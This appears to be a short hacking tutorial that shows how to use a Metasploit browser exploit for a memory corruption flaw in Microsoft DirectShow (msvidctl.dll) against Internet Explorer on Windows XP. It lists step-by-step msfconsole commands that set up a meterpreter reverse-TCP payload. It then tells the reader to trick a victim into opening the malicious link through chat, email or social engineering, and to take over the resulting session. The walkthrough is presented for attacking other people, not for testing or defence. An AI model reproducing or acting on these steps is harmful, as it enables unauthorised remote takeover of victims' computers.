Hack Remote Windows PC using Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption

This module exploits a memory corruption within the MSVidCtl component of Microsoft DirectShow (BDATuner.MPEG2TuneRequest). By loading a specially crafted GIF file, an attacker can overrun a buffer and execute arbitrary code. ClassID is now configurable via an advanced option (otherwise randomized) – I) ruid

Exploit Targets

Internet Explorer 6 on XP SP2

Internet Explorer 7 on XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/msvidctl_mpeg2

Msf exploit (msvidctl_mpeg2)>set payload windows/meterpreter/reverse_tcp

Msf exploit (msvidctl_mpeg2)>set lhost (IP of Local Host)

Msf exploit (msvidctl_mpeg2)>set srvhost (This must be an address on the local machine)

Msf exploit (msvidctl_mpeg2)>set uripath newfunctions (The Url to use for this exploit)

Msf exploit (msvidctl_mpeg2)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID


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